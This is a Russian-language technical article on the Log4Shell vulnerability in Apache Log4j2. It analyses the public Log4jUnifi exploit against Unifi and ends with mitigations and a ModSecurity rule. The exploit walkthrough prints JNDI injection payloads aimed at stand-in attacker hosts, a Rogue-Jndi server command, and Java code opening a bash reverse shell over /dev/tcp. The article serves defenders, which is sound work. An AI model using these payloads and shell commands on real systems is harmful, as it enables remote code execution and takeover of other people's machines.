
Уязвимость BDU:2021-05969 (CVE-2021-44228) Apache Log4j2
Уязвимость BDU:2021-05969 (CVE-2021-44228), также известная как Log4Shell, стала одним из самых критических уязвимостей 2021 года. Она затрагивает библиотеку журналирования Apache Log4j2 версий от 2.0-beta9 до 2.15.0. Эксплуатация позволяет злоумышленникам выполнять произвольный код через механизм JNDI, что делает её особо опасной для тысяч Java-приложений. В этой статье мы разберем технические аспекты уязвимости, работу эксплоита Log4jUnifi и меры защиты.
Технический анализ уязвимости
Уровень опасности: 10.0 (Критический)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
-
AV:N (Вектор атаки: Сетевой) – Удалённая эксплуатация через интернет.
-
AC:L (Сложность атаки: Низкая) – Простая реализация без сложных условий.
-
PR:N (Привилегии: Нет) – Доступ к системе не требуется.
-
UI:N (Взаимодействие: Нет) – Участие пользователя не нужно.
-
S:C (Область: Изменённая) – Влияет на другие системы/компоненты.
-
C:H (Конфиденциальность: Высокое) – Полная компрометация данных.
-
I:H (Целостность: Высокое) – Возможность полного изменения данных.
-
A:H (Доступность: Высокое) – Критическое нарушение работы системы.
Интерпретация: Критическая уязвимость (10.0) позволяет удалённо без прав и участия пользователя нарушить конфиденциальность, целостность и доступность системы, затрагивая другие компоненты (S:C). Максимальный риск из-за сетевого вектора, низкой сложности эксплуатации и полного контроля над уязвимыми системами.
Суть проблемы
Log4j2 поддерживает подстановку переменных через синтаксис ${prefix:name}
, включая JNDI-запросы вида ${jndi:ldap://attacker.com/payload}
. При логировании строки, содержащей такой шаблон, библиотека выполняет запрос к указанному LDAP-серверу и десериализует полученный объект. Это позволяет загрузить и выполнить произвольный Java-код.
Условия эксплуатации
-
Приложение использует Log4j2 версии 2.0-beta9 – 2.15.0 (кроме 2.12.2, 2.12.3, 2.3.1).
-
В конфигурации включена подстановка переменных (по умолчанию активирована до версии 2.15.0).
-
Злоумышленник может контролировать логируемые данные (например, через HTTP-заголовки, параметры запросов).
Пример уязвимого кода:
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class VulnerableApp { private static final Logger logger = LogManager.getLogger(); public void handleRequest(String input) { logger.info("Received: {}", input); // Уязвимая строка } }
При передаче строки ${jndi:ldap://evil.com/Exploit}
в метод handleRequest
, Log4j2 инициирует LDAP-запрос.
Анализ эксплоита Log4jUnifi
Общедоступный эксплоит Log4jUnifi к BDU:2021-05969 (CVE-2021-44228) нацелен на уязвимые экземпляры Unifi Network Application, использующие Log4j2. Рассмотрим его для демонстрации работы уязвимости с технической точки зрения:
Шаг 1: Подготовка вредоносного сервера
Эксплоит использует модифицированный LDAP-сервер Rogue-Jndi, который генерирует ответ с шелл-кодом:
mvn package -f utils/rogue-jndi/ # Компиляция сервера java -jar RogueJndi-1.1.jar --command "bash -c {echo,<base64-shell>}|{base64,-d}|{bash,-i}" --hostname <ATTACKER_IP>
Шаг 2: Внедрение JNDI-запроса
Эксплоит отправляет POST-запрос к API Unifi с вредоносным payload:
payload = { "username": "${jndi:ldap://attacker:1389/o=tomcat}", "password": "log4j", "remember": "${jndi:ldap://attacker:1389/o=tomcat}" } requests.post("https://unifi:8443/api/login", data=payload)
Шаг 3: Выполнение reverse shell
Сервер Rogue-Jndi возвращает класс с шелл-командой:
public class Exploit { static { try { String cmd = "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"; Runtime.getRuntime().exec(cmd).waitFor(); } catch (Exception e) { } } }
Критические условия для успешной атаки:
-
Доступ к веб-интерфейсу Unifi (часто доступен только во внутренней сети).
-
Отсутствие фильтрации JNDI-запросов на уровне WAF или сетевых правил.
-
Уязвимая версия Log4j2 в составе приложения.
Где используется Log4j2?
Библиотека распространена в enterprise-решениях:
-
Ubiquiti Unifi Network Application (управление сетевым оборудованием).
-
Apache Solr, Kafka, Flink (обработка данных).
-
VMware vCenter (виртуализация).
-
Многие Spring-приложения (веб-разработка на Java).
Рекомендации по защите
1. Обновление Log4j2
Используйте версии 2.16.0+.
2. Отключение JNDI
Для версий 2.10 – 2.14.1 добавьте параметры JVM:
-Dlog4j2.formatMsgNoLookups=true
3. Сетевые меры
-
Блокируйте исходящие LDAP/JNDI-запросы на уровне фаервола.
-
Сегментируйте сеть: ограничьте доступ к панелям управления (например, Unifi) только доверенным IP-адресам.
4. WAF-правила
Пример правила для ModSecurity:
SecRule ARGS|REQUEST_HEADERS "@rx \$\{jndi:(ldap|rmi)://" \ "id:1000,deny,status:400,msg:'Log4j Exploit Attempt'"
